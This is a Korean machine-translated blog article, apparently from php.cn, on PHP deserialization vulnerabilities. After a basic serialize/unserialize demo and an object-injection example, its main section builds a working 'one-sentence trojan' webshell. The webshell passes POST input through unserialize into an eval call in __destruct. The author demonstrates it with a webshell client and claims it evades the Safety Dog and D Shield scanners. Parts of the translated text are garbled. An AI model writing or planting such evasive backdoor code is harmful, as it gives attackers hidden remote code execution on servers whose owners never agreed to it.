>  기사  >  백엔드 개발  >  PHP 역직렬화 취약점에 대한 자세한 설명

PHP 역직렬화 취약점에 대한 자세한 설명

小云云
小云云원래의
2018-03-22 14:21:384639검색

최근에 친구들과 PHP 역직렬화 취약점에 대해 연구하다가 문득 역직렬화 취약점을 이용해 한 문장으로 된 트로이 목마를 작성하는 것이 꽤 효과적일 것이라는 생각이 들었습니다. 이 기사에서는 모든 사람에게 도움이 되기를 바라며 주로 PHP 역직렬화 취약점에 대한 자세한 설명을 공유합니다.

0x01 PHP deserialization

PHP deserialization에 관해 이야기하자면 먼저 PHP 직렬화에 대해 간략하게 이야기해야 합니다. PHP 직렬화는 크로스 스크립팅 등의 쉬운 전송을 위해 객체, 배열, 문자열 등을 바이트 스트림으로 변환합니다. PHP 역직렬화는 직렬화된 바이트 스트림을 객체, 문자, 배열 등으로 복원하는 것입니다. 하지만 PHP 직렬화는 객체를 저장하지 않는 방법입니다.

<?php
class A{
    var $test = "demo";
}
$a = new A();  // 生成a对象
$b = serialize($a);  // 序列化a对象为b
$c = unserialize($b); // 反序列化b对象为c
print_r($b);   // 输出序列化之后的值:O:1:"A":1:{s:4:"test";s:4:"demo";}
echo "\n";
print_r($c->test);  // 输出对象c中test的值:demo
?>

0x02 PHP 역직렬화 취약점

PHP 클래스에는 마법 함수라는 특수 함수 본문이 있습니다. 마법 함수 이름은 __construct, __destruct, __toString, __sleep, __wakeup 등과 같이 __ 기호로 시작합니다. 이러한 함수는 객체가 생성될 때 __construct, 객체가 소멸될 때 __destruct, 객체가 문자열로 사용될 때 __toString과 같은 특정 상황에서 자동으로 호출됩니다.
역직렬화할 때 역직렬화된 객체에 마법 함수가 있는 경우 unserialize() 함수를 사용해도 이를 트리거합니다. 이러한 방식으로 unserialize() 항목을 제어할 수 있게 되면 객체 주입 취약점이 발생할 수 있습니다.

<?php
class A{
    var $test = "demo";
    function __destruct(){
            echo $this->test;
    }
}
$a = $_GET[&#39;test&#39;];
$a_unser = unserialize($a);
?>

예를 들어 위 코드에서 페이로드는 http://127.0.0.1:800/test.php?test=O:1:"A":1:{s:4:"test"로 구성됩니다. ;s:5:" hello";}
직렬화 해제 후 스크립트 끝에서 _destruct 함수가 호출되고 테스트 변수가 덮어쓰여 hello를 출력합니다.

PHP 역직렬화 취약점에 대한 자세한 설명

0x03 Backlash

우리는 이 취약점을 이용하여 입력 변수를 제어하고 이를 직렬화된 개체에 연결할 수 있습니다. 그런 다음 _destruct() 함수에서 eval을 호출하여 직렬화된 객체의 명령문을 실행하는 등의 마법 함수를 구성합니다.

<?php
class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST[&#39;test&#39;];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>

PHP 역직렬화 취약점에 대한 자세한 설명

0x04 효과 시연

직접 식칼 링크:
PHP 역직렬화 취약점에 대한 자세한 설명

PHP 역직렬화 취약점에 대한 자세한 설명

Safety Dog:

PHP 역직렬화 취약점에 대한 자세한 설명

결국 이 트로이 목마는 일반 파일과 너무 비슷해서 안티 킬 효과 아주 좋습니다. 여기서는 안전견과 D쉴드만 테스트하고 나머지는 자체 테스트를 진행했습니다.

요약

그리고 이로 인해 많은 변형이 발생할 수 있습니다. 여기서는 역직렬화 취약점만 사용합니다. 결국 cms의 코드 실행 취약점이 발견되기 전에는 다른 취약점도 사용할 수 있습니다. 더 이상 정상이 아닌 파일.

관련 권장 사항:

php 역직렬화 개체 주입 취약점 정보

PHP 직렬화 및 역직렬화 원칙에 대한 자세한 설명

php의 직렬화 및 역직렬화에 대한 심층적인 이해

위 내용은 PHP 역직렬화 취약점에 대한 자세한 설명의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.